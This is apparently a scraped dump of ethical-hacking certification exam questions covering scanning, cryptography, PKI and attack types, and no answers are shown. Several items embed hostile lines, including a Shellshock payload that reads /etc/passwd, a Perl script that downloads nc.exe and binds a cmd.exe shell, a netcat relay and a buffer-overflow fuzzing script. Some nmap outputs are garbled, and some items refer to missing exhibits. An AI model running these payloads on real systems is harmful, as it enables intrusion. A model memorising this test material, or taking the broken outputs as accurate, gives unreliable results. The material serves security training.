Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP What type of activity has been logged?
Question223: Which vital role does the U.S. Computer Security Incident Response Team (CSIRT) provide?
Question224: One way to defeat a multi-level security solution is to leak data via
Question225: A hacker is attempting to see which IP addresses are currently active on a network. Which NMAP switch would the hacker use?
Question226: Which of the following is considered the best way to protect Personally Identifiable Information (PII) from Web application vulnerabilities?
Question227: How can rainbow tables be defeated?
Question228: Which of the following types of firewall inspects only header information in network traffic?
Question229: What is the best defense against privilege escalation vulnerability?
Question230: What type of OS fingerprinting technique sends specially crafted packets to the remote OS and analyzes the received response?
Question231: The security concept of "separation of duties" is most similar to the operation of which type of security device?
Question232: Which of the following is an example of IP spoofing?
Question233: An IT employee got a call from one of our best customers. The caller wanted to know about the company's network infrastructure, systems, and team. New opportunities of integration are in sight for both company and customer. What should this employee do?
Question234: env x=`(){ :;};echo exploit` bash -c 'cat /etc/passwd'
What is the Shellshock bash vulnerability attempting to do on an vulnerable Linux host?
Question235: Which of the following techniques does a vulnerability scanner use in order to detect a vulnerability on a target service?
Question236: In cryptanalysis and computer security, 'pass the hash' is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlying NTLM and/or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case.
Metasploit Framework has a module for this technique: psexec. The psexec module is often used by penetration testers to obtain access to a given system that you already know the credentials for. It was written by sysinternals and has been integrated within the framework. Often as penetration testers, successfully gain access to a system through some exploit, use meterpreter to grab the passwords or other methods like fgdump, pwdump, or cachedump and then utilize rainbowtables to crack those hash values.
Which of the following is true hash type and sort order that is using in the psexec module's 'smbpass'?
Question237: What term describes the amount of risk that remains after the vulnerabilities are classified and the countermeasures have been deployed?
Question238: Which of the following can the administrator do to verify that a tape backup can be recovered in its entirety?
Question239: A consultant is hired to do physical penetration testing at a large financial company. In the first day of his assessment, the consultant goes to the company`s building dressed like an electrician and waits in the lobby for an employee to pass through the main access gate, then the consultant follows the employee behind to get into the restricted area. Which type of attack did the consultant perform?
Question240: Which of the following items is unique to the N-tier architecture method of designing software applications?
Question241: An attacker attaches a rogue router in a network. He wants to redirect traffic to a LAN attached to his router as part of a man-in-the-middle attack. What measure on behalf of the legitimate admin can mitigate this attack?
Question242: You've gained physical access to a Windows 2008 R2 server which has an accessible disc drive. When you attempt to boot the server and log in, you are unable to guess the password. In your tool kit you have an Ubuntu 9.10 Linux LiveCD. Which Linux based tool has the ability to change any user's password or to activate disabled Windows accounts?
Question243: To maintain compliance with regulatory requirements, a security audit of the systems on a network must be performed to determine their compliance with security policies. Which one of the following tools would most likely be used in such an audit?
Question244: A covert channel is a channel that
Question245: A certified ethical hacker (CEH) completed a penetration test of the main headquarters of a company almost two months ago, but has yet to get paid. The customer is suffering from financial problems, and the CEH is worried that the company will go out of business and end up not paying. What actions should the CEH take?
Question246: Which of the following conditions must be given to allow a tester to exploit a Cross-Site Request Forgery (CSRF) vulnerable web application?
Question247: How can a rootkit bypass Windows 7 operating system's kernel mode, code signing policy?
Question248: A well-intentioned researcher discovers a vulnerability on the web site of a major corporation. What should he do?
Question249: During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?
Question250: Which of the following parameters enables NMAP's operating system detection feature?
Question251: Which of the following programming languages is most vulnerable to buffer overflow attacks?
Question252: Least privilege is a security concept that requires that a user is
Question253: Which of the following is a primary service of the U.S. Computer Security Incident Response Team (CSIRT)?
Question254: A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:
system("perl msadc.pl -h $host -C \"echo open $your >testfile\"");
system("perl msadc.pl -h $host -C \"echo $user>>testfile\"");
system("perl msadc.pl -h $host -C \"echo $pass>>testfile\"");
system("perl msadc.pl -h $host -C \"echo bin>>testfile\"");
system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\"");
system("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\""); (
"perl msadc.pl -h $host -C \"echo quit>>testfile\"");
system("perl msadc.pl -h $host -C \"ftp \-s\:testfile\"");
o=; print "Opening ...\n";
$
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");
Which exploit is indicated by this script?
Question255: Diffie-Hellman (DH) groups determine the strength of the key used in the key exchange process. Which of the following is the correct bit size of the Diffie-Hellman (DH) group 5?
Question256: Jesse receives an email with an attachment labeled "Court_Notice_21206.zip". Inside the zip file is a file named "Court_Notice_21206.docx.exe" disguised as a word document. Upon execution, a window appears stating, "This word document is corrupt." In the background, the file copies itself to Jesse APPDATA\local directory and begins to beacon to a C2 server to download additional malicious binaries.
What type of malware has Jesse encountered?
Question257: What is the difference between the AES and RSA algorithms?
Question258: A security analyst is performing an audit on the network to determine if there are any deviations from the security policies in place. The analyst discovers that a user from the IT department had a dial-out modem installed. Which security policy must the security analyst check to see if dial-out modems are allowed?
Question259: Scenario:
1. Victim opens the attacker's web site.
2. Attacker sets up a web site which contains interesting and attractive content like 'Do you want to make
$1000 in a day?'.
3. Victim clicks to the interesting and attractive content url.
4
. Attacker creates a transparent 'iframe' in front of the url which victim attempt to click, so victim thinks that he/she clicks to the 'Do you want to make $1000 in a day?' url but actually he/she clicks to the content or url that exists in the transparent 'iframe' which is setup by the attacker.
What is the name of the attack which is mentioned in the scenario?
Question260: Which of the following security policies defines the use of VPN for gaining access to an internal corporate network?
Question261: The chance of a hard drive failure is known to be once every four years. The cost of a new hard drive is
$500. EF (Exposure Factor) is about 0.5. Calculate for the Annualized Loss Expectancy (ALE).
Question262: You have successfully compromised a machine on the network and found a server that is alive on the same network. You tried to ping it but you didn't get any response back.
What is happening?
Question263: The network administrator for a company is setting up a website with e-commerce capabilities. Packet sniffing is a concern because credit card information will be sent electronically over the Internet.
Customers visiting the site will need to encrypt the data with HTTPS. Which type of certificate is used to encrypt and decrypt the data?
Question264: Which of the following is the most important phase of ethical hacking wherein you need to spend considerable amount of time?
Question265: What is the most secure way to mitigate the theft of corporate information from a laptop that was left in a hotel room?
Question266: When utilizing technical assessment methods to assess the security posture of a network, which of the following techniques would be most effective in determining whether end-user security training would be beneficial?
Question267: To reduce the attack surface of a system, administrators should perform which of the following processes to remove unnecessary software, services, and insecure configuration settings?
Question268: Craig received a report of all the computers on the network that showed all the missing patches and weak passwords. What type of software generated this report?
Question269: XOR is a common cryptographic tool. 10110001 XOR 00111010 is?
Question270: Sid is a judge for a programming contest. Before the code reaches him it goes through a restricted OS and is tested there. If it passes, then it moves onto Sid. What is this middle step called?
Question271: What does a firewall check to prevent particular ports and applications from getting packets into an organization?
Question272: You've just discovered a server that is currently active within the same network with the machine you recently compromised. You ping it but it did not respond. What could be the case?
Question273: Your team has won a contract to infiltrate an organization. The company wants to have the attack be as realistic as possible; therefore, they did not provide any information besides the company name.
What should be the first step in security testing the client?
Question274: When you are collecting information to perform a data analysis, Google commands are very useful to find sensitive information and files. These files may contain information about passwords, system functions, or documentation.
What command will help you to search files using Google as a search engine?
Question275: Passive reconnaissance involves collecting information through which of the following?
Question276: During a wireless penetration test, a tester detects an access point using WPA2 encryption. Which of the following attacks should be used to obtain the key?
Question277: You want to do an ICMP scan on a remote computer using hping2. What is the proper syntax?
Question278: What results will the following command yield: 'NMAP -sS -O -p 123-153 192.168.100.3'?
Question279: Which of the following network attacks takes advantage of weaknesses in the fragment reassembly functionality of the TCP/IP protocol stack?
Question280: Which of the following is a common Service Oriented Architecture (SOA) vulnerability?
Question281: An attacker uses a communication channel within an operating system that is neither designed nor intended to transfer information. What is the name of the communications channel?
Question282: Which initial procedure should an ethical hacker perform after being brought into an organization?
Question283: How does the Address Resolution Protocol (ARP) work?
Question284: Which of the following is used to indicate a single-line comment in structured query language (SQL)?
Question285: Which of the following BEST describes the mechanism of a Boot Sector Virus?
Question286: A hacker was able to easily gain access to a website. He was able to log in via the frontend user login form of the website using default or commonly used credentials. This exploitation is an example of what Software design flaw?
Question287: Which of the following is an example of two factor authentication?
Question288: >
NMAP -sn 192.168.11.200-215
The NMAP command above performs which of the following?
Question289: Which of the following business challenges could be solved by using a vulnerability scanner?
Question290: During a security audit of IT processes, an IS auditor found that there were no documented security procedures. What should the IS auditor do?
Question291: You are about to be hired by a well known Bank to perform penetration tests. Which of the following documents describes the specifics of the testing, the associated violations, and essentially protects both the bank's interest and your liabilities as a tester?
Question292: You want to analyze packets on your wireless network. Which program would you use?
Question293: The configuration allows a wired or wireless network interface controller to pass all traffic it receives to the central processing unit (CPU), rather than passing only the frames that the controller is intended to receive.
Which of the following is being described?
Question294: Which of the following processes evaluates the adherence of an organization to its stated security policy?
Question295: A big company, who wanted to test their security infrastructure, wants to hire elite pen testers like you.
During the interview, they asked you to show sample reports from previous penetration tests. What should you do?
Question296: The practical realities facing organizations today make risk response strategies essential. Which of the following is NOT one of the five basic responses to risk?
Question297: Which of the following defines the role of a root Certificate Authority (CA) in a Public Key Infrastructure (PKI)?
Question298: What is the outcome of the comm"nc -l -p 2222 | nc 10.1.0.43 1234"?
Question299: A consultant has been hired by the V.P. of a large financial organization to assess the company's security posture. During the security testing, the consultant comes across child pornography on the V.P.'s computer. What is the consultant's obligation to the financial organization?
Question300: Your next door neighbor, that you do not get along with, is having issues with their network, so he yells to his spouse the network's SSID and password and you hear them both clearly. What do you do with this information?
Question301: Which of the following does proper basic configuration of snort as a network intrusion detection system require?
Question302: In order to prevent particular ports and applications from getting packets into an organization, what does a firewall check?
Question303: You are logged in as a local admin on a Windows 7 system and you need to launch the Computer Management Console from command line.
Which command would you use?
Question304: Which access control mechanism allows for multiple systems to use a central authentication server (CAS) that permits users to authenticate once and gain access to multiple systems?
Question305: Which of the following is a restriction being enforced in "white box testing?"
Question306: A security engineer is attempting to map a company's internal network. The engineer enters in the following NMAP command:
NMAP -n -sS -P0 -p 80 ***.***.**.**
What type of scan is this?
Question307: An attacker sniffs encrypted traffic from the network and is subsequently able to decrypt it. The attacker can now use which cryptanalytic technique to attempt to discover the encryption key?
Question308: A security engineer has been asked to deploy a secure remote access solution that will allow employees to connect to the company's internal network. Which of the following can be implemented to minimize the opportunity for the man-in-the-middle attack to occur?
Question309: Seth is starting a penetration test from inside the network. He hasn't been given any information about the network. What type of test is he conducting?
Question310: Risks = Threats x Vulnerabilities is referred to as the:
Question311: A person approaches a network administrator and wants advice on how to send encrypted email from home. The end user does not want to have to pay for any license fees or manage server services. Which of the following is the most secure encryption protocol that the network administrator should recommend?
Question312: What kind of risk will remain even if all theoretically possible safety measures would be applied?
Question313: It is a kind of malware (malicious software) that criminals install on your computer so they can lock it from a remote location. This malware generates a pop-up window, webpage, or email warning from what looks like an official authority. It explains that your computer has been locked because of possible illegal activities on it and demands payment before you can access your files and programs again.
Which of the following terms best matches the definition?
Question314: An attacker has been successfully modifying the purchase price of items purchased on the company's web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price?
Question315: Which of the following is a client-server tool utilized to evade firewall inspection?
Question316: When security and confidentiality of data within the same LAN is of utmost priority, which IPSec mode should you implement?
Question317: In both pharming and phishing attacks an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable information from its victims. What is the difference between pharming and phishing attacks?
Question318: Session splicing is an IDS evasion technique in which an attacker delivers data in multiple, smallsized packets to the target computer, making it very difficult for an IDS to detect the attack signatures.
Which tool can be used to perform session splicing attacks?
Question319: Suppose you've gained access to your client's hybrid network. On which port should you listen to in order to know which Microsoft Windows workstations has its file sharing enabled?
Question320: Which of the following network attacks relies on sending an abnormally large packet size that exceeds TCP/IP specifications?
Question321: An enterprise recently moved to a new office and the new neighborhood is a little risky. The CEO wants to monitor the physical perimeter and the entrance doors 24 hours. What is the best option to do this job?
Question322: Due to a slow down of normal network operations, IT department decided to monitor internet traffic for all of the employees. From a legal stand point, what would be troublesome to take this kind of measure?
Question323: Company A and Company B have just merged and each has its own Public Key Infrastructure (PKI). What must the Certificate Authorities (CAs) establish so that the private PKIs for Company A and Company B trust one another and each private PKI can validate digital certificates from the other company?
Question324: Which of the following is designed to verify and authenticate individuals taking part in a data exchange within an enterprise?
Question325: The "gray box testing" methodology enforces what kind of restriction?
Question326: Which of the following problems can be solved by using Wireshark?
Question327: Which NMAP feature can a tester implement or adjust while scanning for open ports to avoid detection by the network's IDS?
Question328: Which of the following is a serious vulnerability in the popular OpenSSL cryptographic software library.
This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet.
Question329: During a penetration test, a tester finds a target that is running MS SQL 2000 with default credentials. The tester assumes that the service is running with Local System account. How can this weakness be exploited to access the system?
Question330: Which service in a PKI will vouch for the identity of an individual or company?
Question331: What is the best description of SQL Injection?
Question332: A hacker, who posed as a heating and air conditioning specialist, was able to install a sniffer program in a switched environment network. Which attack could the hacker use to sniff all of the packets in the network?
Question333: A pentester gains access to a Windows application server and needs to determine the settings of the built- in Windows firewall. Which command would be used?
Question334: The security administrator of ABC needs to permit Internet traffic in the host 10.0.0.2 and UDP traffic in the host 10.0.0.3. Also he needs to permit all FTP traffic to the rest of the network and deny all other traffic.
After he applied his ACL configuration in the router nobody can access to the ftp and the permitted hosts cannot access to the Internet. According to the next configuration what is happening in the network?
access-list 102 deny tcp any any
access-list 104 permit udp host 10.0.0.3 any
access-list 110 permit tcp host 10.0.0.2 eq www any
access-list 108 permit tcp any eq ftp any
Question335: A security administrator notices that the log file of the company's webserver contains suspicious entries:
Based on source code analysis, the analyst concludes that the login.php script is vulnerable to
Question336: A security consultant decides to use multiple layers of anti-virus defense, such as end user desktop anti- virus and E-mail gateway. This approach can be used to mitigate which kind of attack?
Question337: #!/usr/bin/python
import socket
buffer=["A"]
counter=50
while len(buffer)<=100:
buffer.apend ("A"*counter)
counter=counter+50
commands
[
"HELP","STATS.","RTIME.","LTIME.","SRUN.","TRUN.","GMON.","GDOG.","KSTET.","GTER.","HTER.","L TER.","KSTAN."]
for command in commands:
for buffstring in buffer:
print "Exploiting" +command+":"+str(len(buffstring))
s=socket.socket(socket.AF_INET.socket.SOCK_STREAM)
s.connect(('127.0.0.1',9999))
s.recv(50)
s.send(command+buffstring)
s.close()
What is the code written for?
Question338: In an internal security audit, the white hat hacker gains control over a user account and attempts to acquire access to another account's confidential files and information. How can he achieve this?
Question339: Which of the following guidelines or standards is associated with the credit card industry?
Question340: You have several plain-text firewall logs that you must review to evaluate network traffic. You know that in order to do fast, efficient searches of the logs you must use regular expressions.
Which command-line utility are you most likely to use?
Question341: Which of the following tools would MOST LIKELY be used to perform security audit on various of forms of network systems?
Question342: Which of the following tools is used by pen testers and analysts specifically to analyze links between data using link analysis and graphs?
Question343: Which of the following cryptography attack methods is usually performed without the use of a computer?
Question344: While you were gathering information as part of security assessments for one of your clients, you were able to gather data that show your client is involved with fraudulent activities. What should you do?
Question345: Initiating an attack against targeted businesses and organizations, threat actors compromise a carefully selected website by inserting an exploit resulting in malware infection. The attackers run exploits on well- known and trusted sites likely to be visited by their targeted victims. Aside from carefully choosing sites to compromise, these attacks are known to incorporate zero-day exploits that target unpatched vulnerabilities. Thus, the targeted entities are left with little or no defense against these exploits.
What type of attack is outlined in the scenario?
Question346: A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain connectivity passwords that can be decoded with which of the following?
Question347: Which of the following describes the characteristics of a Boot Sector Virus?
Question348: Which technical characteristic do Ethereal/Wireshark, TCPDump, and Snort have in common?
Question349: Jimmy is standing outside a secure entrance to a facility. He is pretending to have a tense conversation on his cell phone as an authorized employee badges in. Jimmy, while still on the phone, grabs the door as it begins to close.
What just happened?
Question350: You have compromised a server and successfully gained a root access. You want to pivot and pass traffic undetected over the network and evade any possible Intrusion Detection System.
What is the best approach?
Question351: It has been reported to you that someone has caused an information spillage on their computer. You go to the computer, disconnect it from the network, remove the keyboard and mouse, and power it down. What step in incident handling did you just complete?
Question352: A company's Web development team has become aware of a certain type of security vulnerability in their Web software. To mitigate the possibility of this vulnerability being exploited, the team wants to modify the software requirements to disallow users from entering HTML as input into their Web application.
What kind of Web application vulnerability likely exists in their software?
Question353: Which of the following is a design pattern based on distinct pieces of software providing application functionality as services to other applications?
Question354: A penetration tester is attempting to scan an internal corporate network from the internet without alerting the border sensor. Which is the most efficient technique should the tester consider using?
Question355: Which type of intrusion detection system can monitor and alert on attacks, but cannot stop them?
Question356: What attack is used to crack passwords by using a precomputed table of hashed passwords?
Question357: During a penetration test, the tester conducts an ACK scan using NMAP against the external interface of the DMZ firewall. NMAP reports that port 80 is unfiltered. Based on this response, which type of packet inspection is the firewall conducting?
Question358: The establishment of a TCP connection involves a negotiation called 3 way handshake. What type of message sends the client to the server in order to begin this negotiation?
Question359: What is the way to decide how a packet will move from an untrusted outside host to a protected inside that is behind a firewall, which permits the hacker to determine which ports are open and if the packets can pass through the packet-filtering of the firewall.
Question360: Which of the following examples best represents a logical or technical control?
Question361: A Certificate Authority (CA) generates a key pair that will be used for encryption and decryption of email.
The integrity of the encrypted email is dependent on the security of which of the following?
Question362: Bob received this text message on his mobile phone: ""Hello, this is Scott Smelby from the Yahoo Bank.
Kindly contact me for a vital transaction on: [email protected]"". Which statement below is true?
Question363: From the two screenshots below, which of the following is occurring?
First one:
1
2
[10.0.0.253]# nmap -sP 10.0.0.0/24
3
Starting Nmap
5
Host 10.0.0.1 appears to be up.
6
MAC Address: 00:09:5B:29:FD:96 (Netgear)
Host 10.0.0.2 appears to be up.
MAC Address: 00:0F:B5:96:38:5D (Netgear)
Host 10.0.0.4 appears to be up.
7
8
9
1
1
1
0 Host 10.0.0.5 appears to be up.
1 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.)
2 Nmap finished: 256 IP addresses (4 hosts up) scanned in 5.399 seconds Second one:
1
2
[10.0.0.252]# nmap -sO 10.0.0.2
3
Starting Nmap 4.01 at 2006-07-14 12:56 BST
Interesting protocols on 10.0.0.2:
(The 251 protocols scanned but not shown below are
in state: closed)
PROTOCOL STATE SERVICE
1 open icmp
4
5
6
7
8
9
1
1
1
1
1
2 open|filtered igmp
0 6 open tcp
1 17 open udp
2 255 open|filtered unknown
3
4 Nmap finished: 1 IP address (1 host up) scanned in
15 1.259 seconds
Question364: The use of alert thresholding in an IDS can reduce the volume of repeated alerts, but introduces which of the following vulnerabilities?
Question365: What is a "Collision attack" in cryptography?
Question366: Which of the following ensures that updates to policies, procedures, and configurations are made in a controlled and documented fashion?
Question367: By using a smart card and pin, you are using a two-factor authentication that satisfies
Question368: Which of the following BEST describes how Address Resolution Protocol (ARP) works?
Question369: Which specific element of security testing is being assured by using hash?
Question370: The company ABC recently contracted a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. What of the following options can be useful to ensure the integrity of the data?
Question371: Which mode of IPSec should you use to assure security and confidentiality of data within the same LAN?
Question372: The use of technologies like IPSec can help guarantee the following: authenticity, integrity, confidentiality and
Question373: Which of the following is considered an exploit framework and has the ability to perform automated attacks on services, ports, applications and unpatched security flaws in a computer system?
Question374: When using Wireshark to acquire packet capture on a network, which device would enable the capture of all traffic on the wire?
Question375: The following is a sample of output from a penetration tester's machine targeting a machine with the IP address of 192.168.1.106:
What is most likely taking place?
Question376: Which tool allows analysts and pen testers to examine links between data using graphs and link analysis?
Question377: Which of the following is assured by the use of a hash?
Question378: Knowing the nature of backup tapes, which of the following is the MOST RECOMMENDED way of storing backup tapes?
Question379: Which of the following can take an arbitrary length of input and produce a message digest output of 160 bit?
Question380: The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure web applications by providing which one of the following services?
Question381: What technique is used to perform a Connection Stream Parameter Pollution (CSPP) attack?
Question382: What is the main reason the use of a stored biometric is vulnerable to an attack?
Question383: One advantage of an application-level firewall is the ability to
Question384: You have compromised a server on a network and successfully opened a shell. You aimed to identify all operating systems running on the network. However, as you attempt to fingerprint all machines in the network using the nmap syntax below, it is not going through.
invictus@victim_server:~$ nmap -T4 -O 10.10.0.0/24
TCP/IP fingerprinting (for OS scan) xxxxxxx xxxxxx xxxxxxxxx.
QUITTING!
What seems to be wrong?
Question385: After gaining access to the password hashes used to protect access to a web based application, knowledge of which cryptographic algorithms would be useful to gain access to the application?
Question386: Which of the following resources does NMAP need to be used as a basic vulnerability scanner covering several vectors like SMB, HTTP and FTP?
Question387: Which of the following tools can be used for passive OS fingerprinting?
Question388: An attacker tries to do banner grabbing on a remote web server and executes the following command.
$
nmap -sV host.domain.com -p 80
He gets the following output.
Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-08 19:10 EST
Nmap scan report for host.domain.com (108.61.158.211)
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
80/tcp open
http
Apache httpd
Service detection performed. Please report any incorrect results at http://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds
What did the hacker accomplish?
Question389: Which of the following Nmap commands will produce the following output?
Output:
Starting Nmap 6.47 (http://nmap.org ) at 2015-05-26 12:50 EDT
Nmap scan report for 192.168.1.1
Host is up (0.00042s latency).
Not shown: 65530 open|filtered ports, 65529 filtered ports
PORT STATE SERVICE
1
9
1
1
1
2
1
1
1
1
2
5
1
5
5
5
5
5
6
11/tcp open rpcbind
99/tcp open garcon
017/tcp open unknown
021/tcp open exp1
023/tcp open netvenuechat
049/tcp open nfs
7501/tcp open unknown
11/udp open rpcbind
23/udp open ntp
37/udp open netbios-ns
049/udp open nfs
353/udp open zeroconf
7501/udp open|filtered unknown
1857/udp open|filtered unknown
4358/udp open|filtered unknown
6228/udp open|filtered unknown
7598/udp open|filtered unknown
9488/udp open|filtered unknown
0027/udp open|filtered unknown
Question390: The purpose of a __________ is to deny network access to local area networks and other information assets by unauthorized wireless devices.
Question391: If the final set of security controls does not eliminate all risk in a system, what could be done next?
Question392: There are several ways to gain insight on how a cryptosystem works with the goal of reverse engineering the process. A term describes when two pieces of data result in the same value is?
Question393: Which of the following is the least-likely physical characteristic to be used in biometric control that supports a large company?
Question394: Which Open Web Application Security Project (OWASP) implements a web application full of known vulnerabilities?
Question395: A newly discovered flaw in a software application would be considered which kind of security vulnerability?
Question396: What is the term coined for logging, recording and resolving events in a company?
Question397: Low humidity in a data center can cause which of the following problems?
Question398: A Security Engineer at a medium-sized accounting firm has been tasked with discovering how much information can be obtained from the firm's public facing web servers. The engineer decides to start by using netcat to port 80.
The engineer receives this output:
HTTP/1.1 200 OK
Server: Microsoft-IIS/6
Expires: Tue, 17 Jan 2011 01:41:33 GMT
Date: Mon, 16 Jan 2011 01:41:33 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 28 Dec 2010 15:32:21 GMT
ETag: "b0aac0542e25c31:89d"
Content-Length: 7369
Which of the following is an example of what the engineer performed?
Question399: Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private key is stored to provide third-party access and to facilitate recovery operations?
Question400: Bob learned that his username and password for a popular game has been compromised. He contacts the company and resets all the information. The company suggests he use two-factor authentication, which option below offers that?
Question401: If you are to determine the attack surface of an organization, which of the following is the BEST thing to do?
Question402: Which of the following is the BEST approach to prevent Cross-site Scripting (XSS) flaws?
Question403: An attacker has captured a target file that is encrypted with public key cryptography. Which of the attacks below is likely to be used to crack the target file?
Question404: A company's security policy states that all Web browsers must automatically delete their HTTP browser cookies upon terminating. What sort of security breach is this policy attempting to mitigate?
Question405: Which of the following is an example of an asymmetric encryption implementation?
Question406: Which of the following tools is used to detect wireless LANs using the 802.11a/b/g/n WLAN standards on a linux platform?
Question407: _________ is a set of extensions to DNS that provide to DNS clients (resolvers) origin authentication of DNS data to reduce the threat of DNS poisoning, spoofing, and similar attacks types.
Question408: For messages sent through an insecure channel, a properly implemented digital signature gives the receiver reason to believe the message was sent by the claimed sender. While using a digital signature, the message digest is encrypted with which key?
Question409: Which of the following scanning tools is specifically designed to find potential exploits in Microsoft Windows products?
Question410: Websites and web portals that provide web services commonly use the Simple Object Access Protocol SOAP. Which of the following is an incorrect definition or characteristics in the protocol?
Question411: Which of the following is a form of penetration testing that relies heavily on human interaction and often involves tricking people into breaking normal security procedures?
Question412: Perspective clients want to see sample reports from previous penetration tests.
What should you do next?
Question413: Which type of security document is written with specific step-by-step details?
Question414: Which of the following items of a computer system will an anti-virus program scan for viruses?
Question415: Which of the following statements regarding ethical hacking is incorrect?
Question416: A penetration test was done at a company. After the test, a report was written and given to the company's IT authorities. A section from the report is shown below:
Access List should be written between VLANs.
Port security should be enabled for the intranet.
A security solution which filters data packets should be set between intranet (LAN) and DMZ.
A WAF should be used in front of the web applications.
According to the section from the report, which of the following choice is true?
Question417: To send a PGP encrypted message, which piece of information from the recipient must the sender have before encrypting the message?
Question418: In many states sending spam is illegal. Thus, the spammers have techniques to try and ensure that no one knows they sent the spam out to thousands of users at a time. Which of the following best describes what spammers use to hide the origin of these types of e-mails?
Question419: Sophia travels a lot and worries that her laptop containing confidential documents might be stolen. What is the best protection that will work for her?
Question420: What is the name of the international standard that establishes a baseline level of confidence in the security functionality of IT products by providing a set of requirements for evaluation?
Question421: Employees in a company are no longer able to access Internet web sites on their computers. The network administrator is able to successfully ping IP address of web servers on the Internet and is able to open web sites by using an IP address in place of the URL. The administrator runs the nslookup command for www.eccouncil.org and receives an error message stating there is no response from the server. What should the administrator do next?
Question422: Which of the following is an extremely common IDS evasion technique in the web world?
Question423: Jimmy is standing outside a secure entrance to a facility. He is pretending to have a tense conversation on his cell phone as an authorized employee badges in. Jimmy, while still on the phone, grabs the door as it begins to close.
What just happened?
Question424: In order to show improvement of security over time, what must be developed?
Question425: First thing you do every office day is to check your email inbox. One morning, you received an email from your best friend and the subject line is quite strange. What should you do?
Question426: What type of malware is it that restricts access to a computer system that it infects and demands that the user pay a certain amount of money, cryptocurrency, etc. to the operators of the malware to remove the restriction?
Question427: John the Ripper is a technical assessment tool used to test the weakness of which of the following?
Question428: Todd has been asked by the security officer to purchase a counter-based authentication system. Which of the following best describes this type of system?
Question429: If there is an Intrusion Detection System (IDS) in intranet, which port scanning technique cannot be used?
Question430: A computer technician is using a new version of a word processing software package when it is discovered that a special sequence of characters causes the entire computer to crash. The technician researches the bug and discovers that no one else experienced the problem. What is the appropriate next step?
Question431: Advanced encryption standard is an algorithm used for which of the following?
Question432: An attacker changes the profile information of a particular user (victim) on the target website. The attacker uses this string to update the victim's profile to a text file and then submit the data to the attacker's database.
<
iframe src="http://www.vulnweb.com/updateif.php" style="display:none"></iframe> What is this type of attack (that can use either HTTP GET or HTTP POST) called?
Question433: Under the "Post-attack Phase and Activities", it is the responsibility of the tester to restore the systems to a pre-test state.
Which of the following activities should not be included in this phase? (see exhibit) Exhibit:
Question434: What tool should you use when you need to analyze extracted metadata from files you collected when you were in the initial stage of penetration test (information gathering)?
Question435: One of the Forbes 500 companies has been subjected to a large scale attack. You are one of the shortlisted pen testers that they may hire. During the interview with the CIO, he emphasized that he wants to totally eliminate all risks. What is one of the first things you should do when hired?
Question436: Which of the following is a characteristic of Public Key Infrastructure (PKI)?
Question437: Which system consists of a publicly available set of databases that contain domain name registration contact information?
Question438: A large mobile telephony and data network operator has a data that houses network elements. These are essentially large computers running on Linux. The perimeter of the data center is secured with firewalls and IPS systems. What is the best security policy concerning this setup?
Question439: Which element of Public Key Infrastructure (PKI) verifies the applicant?
Question440: This international organization regulates billions of transactions daily and provides security guidelines to protect personally identifiable information (PII). These security controls provide a baseline and prevent low- level hackers sometimes known as script kiddies from causing a data breach.
Which of the following organizations is being described?
Question441: Which of the following is a component of a risk assessment?
Question442: Which of the following tools will scan a network to perform vulnerability checks and compliance auditing?
Question443: While checking the settings on the internet browser, a technician finds that the proxy server settings have been checked and a computer is trying to use itself as a proxy server. What specific octet within the subnet does the technician see?
Question444: What mechanism in Windows prevents a user from accidentally executing a potentially malicious batch (.bat) or PowerShell (.ps1) script?
Question445: Which method of password cracking takes the most time and effort?
Question446: A hacker is attempting to see which ports have been left open on a network. Which NMAP switch would the hacker use?
Question447: When you are testing a web application, it is very useful to employ a proxy tool to save every request and response. You can manually test every request and analyze the response to find vulnerabilities. You can test parameter and headers manually to get more precise results than if using web vulnerability scanners.
What proxy tool will help you find web vulnerabilities?
Question448: Emil uses nmap to scan two hosts using this command.
nmap -sS -T4 -O 192.168.99.1 192.168.99.7
He receives this output:
Nmap scan report for 192.168.99.1
Host is up (0.00082s latency).
Not shown: 994 filtered ports
PORT
STATE SERVICE
2
2
5
8
1
1/tcp
3/tcp
3/tcp
0/tcp
open
open
open
open
ftp
telnet
domain
http
61/tcp closed
snmp
MAC Address: B0:75:D5:33:57:74 (ZTE)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Nmap scan report for 192.168.99.7
Host is up (0.000047s latency).
All 1000 scanned ports on 192.168.99.7 are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops
